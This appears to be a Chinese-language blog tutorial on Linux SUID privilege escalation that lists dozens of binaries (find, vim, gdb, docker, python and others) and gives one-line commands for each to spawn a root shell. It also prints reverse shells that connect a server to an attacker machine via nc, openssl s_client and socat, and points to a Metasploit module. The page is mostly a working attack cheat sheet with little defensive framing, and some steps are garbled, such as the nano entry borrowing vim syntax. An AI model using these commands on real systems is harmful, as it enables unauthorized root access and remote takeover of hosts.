首页 服务器系统 Linux

Linux系统SUID提权技巧总结分享-最全没有之一

Linux系统SUID提权

今天给大家分享的是SUID提权,也是linux中常用的提权方法,那SUID到底是什么,又是如何提权的。


  • SUID概念

SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义,在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件XINO,其属主为root,当我们通过非root用户登录时,如果XINO设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。

利用此特性,我们可通过SUID进行提权

  • 设置SUID权限命令:
chmod u+s filename 设置SUID位

chmod u-s filename 去掉SUID设置


  • 提权命令
nmap 
vim
find
bash
more
less
nano
cp
awk
nice
docker
env
expect
flock
ftp
gdb
gimp
git
ionice
ip
ksh
logsave
make
man
openssl
php
python
rpm
rsync
rvim
setarch
socat
ssh
strace
stdbuf
taskset
tclsh
time
timeout
watch
xargs
zsh

find 使用方法

如果find 以SUID权限运行,所有通过find 执行的命令都会以root 权限运行

find / -user root -perm -4000 print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null find . -exec whoami

find / -user root -perm -4000 -exec ls -ldb {} ;

cd /tmp;touch xxx 随便创建一个文件可以在tmp目录下

find xxx -exec whoami ;

find xxx -exec /bin/sh ; 利用find得到一个root权限的shell

find xxx -exec nc -lvp 1234 -e /bin/sh ;利用nc反弹一个root权限的shell

vim 使用方法

vim作为一款linux下的文件编辑器,当以SUID运行的话,它会继承root用户的权限:可以读取系统中所有的文件

vim/vi

# Press ESC key

:set shell=/bin/sh

:shell

msf 中也有相关的模块

msf6> search exploit/unix/local/setuid_nmap

bash

bash -p

># id

less/more

less /etc/passwd

!/bin/sh

nano编辑器提权

nano是Unix和类Unix系统中的一个文本编辑器,我们也可以利用它来提权:

nano

Ctrl + R

Ctrl + X

即可进入命令行

:set shell=/bin/sh

ed提权

我们将利用ed命令执行提权操作。为此,我们需要设置具有管理权限的ed command lab。然后,我们将查看获取sudo权限后对它的影响,以及我们如何更多地将其用于提权。

test All=(root) NOPASSWD: /bin/ed

ssh test@192.168.1.31

sudo -l

sudo ed

awk提权

AWK, 数据过滤工具 (类似于grep),属数据处理引擎,基于模式匹配检查输入文本,逐行处理并输出。我们可以通过以下方式进行命令执行:

awk 'BEGIN {system("whoami")}'

nice

以更改过的优先序来执行程式, 简单来说就是修改程序的优先级,输入下面的命令进行提权:

nice /bin/sh -p


docker

输入下面的命令进行提权:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

env命令提权

输入下面的命令进行提权:

env /bin/sh -p

expect

输入下面的命令进行提权:

expect -c 'spawn /bin/sh -p;interact'

flock

输入下面的命令进行提权:

flock -u / /bin/sh -p

ftp

输入下面的命令进行提权:

ftp
!/bin/sh -p

gdb

输入下面的命令进行提权:

gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

gimp

输入下面的命令进行提权:

gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl("/bin/sh", "sh", "-p")'

git

git help status  //在底行输入“!/bin/sh -p”

ionice

ionice /bin/sh -p

ip

ip netns add foo
ip netns exec foo /bin/sh -p
ip netns delete foo

ksh

ksh -p

logsave

logsave /dev/null /bin/sh -i -p

make

COMMAND='/bin/sh -p'
make -s --eval=$'x:\n\t-'"$COMMAND"

man

man man  //在底行输入"!/bin/sh -p"

openssl

首先在攻击者的机器上运行下面的命令以接收连接:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345

之后在CentOS服务器上执行下面的命令:
RHOST=192.168.1.6
RPORT=12345

mkfifo /tmp/s; /bin/sh -p -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s

php

CMD="/bin/sh"
php -r "pcntl_exec('/bin/sh', ['-p']);"

python

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

rpm

rpm --eval '%{lua:os.execute("/bin/sh -p")}'

rsync

rsync -e 'sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null

rvim

rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

setarch

setarch $(arch) /bin/sh -p

socat

攻击者首先在自己的计算机启动对TCP 8888端口的监听

socat file:'/dev/tty',raw,echo=0 tcp-listen:8888
服务器通过socat发起连接:

socat tcp-connect:192.168.1.6:8888 exec:'/bin/sh -p',pty,stderr
攻击者得到shell:

ssh

ssh -o ProxyCommand=';sh -p 0<&2 1>&2' x

strace

strace -o /dev/null /bin/sh -p

stdbuf

stdbuf -i0 /bin/sh -p

taskset

taskset 1 /bin/sh -p

tclsh

tclsh
exec /bin/sh -p <@stdin >@stdout 2>@stderr

time

time /bin/sh -p

timeout

timeout 7d /bin/sh -p

watch

watch -x sh -c 'reset; exec sh -p 1>&0 2>&0'

无法显示执行的命令,但是可以看到执行结果。
提权成功,得到了root shell。

xargs

xargs -a /dev/null sh -p

zsh

zsh
相关推荐